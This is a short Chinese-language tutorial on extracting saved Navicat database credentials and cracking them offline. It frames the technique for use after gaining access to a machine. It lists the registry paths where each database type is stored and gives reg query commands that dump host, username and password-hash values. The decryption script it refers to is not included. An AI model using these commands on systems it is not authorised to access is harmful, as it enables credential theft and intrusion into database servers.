如何進(jìn)行離線破解Navicat密碼

本篇文章給大家分享的是有關(guān)如何進(jìn)行離線破解Navicat密碼，小編覺(jué)得挺實(shí)用的，因此分享給大家學(xué)習(xí)，希望大家閱讀完這篇文章后可以有所收獲，話不多說(shuō)，跟著小編一起來(lái)看看吧。

注：文中使用的是Navicat Premium 12.x，Navicat 11.x與12.x的加密方式有一些不同，實(shí)際上按照11.x的方式解密就可以了

0x01 介紹

Navicat是一套快速、可靠并價(jià)格相當(dāng)便宜的數(shù)據(jù)庫(kù)管理工具，專為簡(jiǎn)化數(shù)據(jù)庫(kù)的管理及降低系統(tǒng)管理成本而設(shè)。它的設(shè)計(jì)符合數(shù)據(jù)庫(kù)管理員、開發(fā)人員及中小企業(yè)的需要。Navicat 是以直覺(jué)化的圖形用戶界面而建的，讓你可以以安全并且簡(jiǎn)單的方式創(chuàng)建、組織、訪問(wèn)并共用信息。

balabala，反正是挺常用的一個(gè)數(shù)據(jù)庫(kù)連接工具了，如果在實(shí)際環(huán)境中碰到了，那將是一大幸事，里面肯定會(huì)保存著很多服務(wù)器數(shù)據(jù)庫(kù)的連接密碼，這個(gè)時(shí)候如何將其提取出來(lái)就是一個(gè)至關(guān)重要的事情了

0x02 提取密碼

首先需要明確一下，Navicat針對(duì)不同的數(shù)據(jù)庫(kù)，它所存放的地點(diǎn)是不一樣的

MySQL            HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ MariaDB          HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\ MicrosoftSQL     HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ Oracle           HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\ PostgreSQL       HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\ SQLite           HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\

這里還是拿MySQL進(jìn)行舉例吧

我們先在注冊(cè)表中訪問(wèn)一下

既然是在注冊(cè)表中，我們直接導(dǎo)出其內(nèi)容就可以了

IP     reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host用戶名  reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName密碼    reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd

同理也可以提取其他數(shù)據(jù)庫(kù)的IP、賬號(hào)和密碼hash

當(dāng)拿到這些內(nèi)容的時(shí)候，我們接下來(lái)就是進(jìn)行離線破解

我們使用其中的python3腳本

首先先安裝依賴pycryptodome

用法也已經(jīng)給出了

以上就是如何進(jìn)行離線破解Navicat密碼，小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘９ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。